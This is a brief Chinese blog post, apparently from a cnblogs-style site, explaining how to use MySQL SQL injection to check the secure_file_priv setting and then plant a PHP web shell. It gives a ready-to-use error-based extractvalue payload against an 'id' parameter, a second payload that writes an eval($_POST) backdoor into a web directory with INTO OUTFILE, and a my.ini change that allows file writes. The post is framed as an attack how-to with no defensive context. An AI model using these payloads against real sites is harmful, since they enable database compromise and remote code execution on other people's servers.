查看mysql是否有文件读写权限,sql注入查询secure_file_priv权限

show VARIABLES like '%secure%'

sql注入中的使用方法

查询secure_file_priv权限
?id=43 ) and extractvalue(1, concat(0x7e, (select @@global.secure_file_priv),0x7e)) --+(

写shell
?id=43 ) and extractvalue(1, concat(0x7e, (select<?php @eval($_POST['pass']);?>INTO OUTFILE “D:\wwwroot\xxx.com\Runtime\2.php”),0x7e)) --+(

 

 

 如果不显示需要配置my.ini

添加secure_file_priv=""

 

posted @ 2021-05-24 20:02  ggsmdaa  阅读(3899)  评论(0编辑  收藏  举报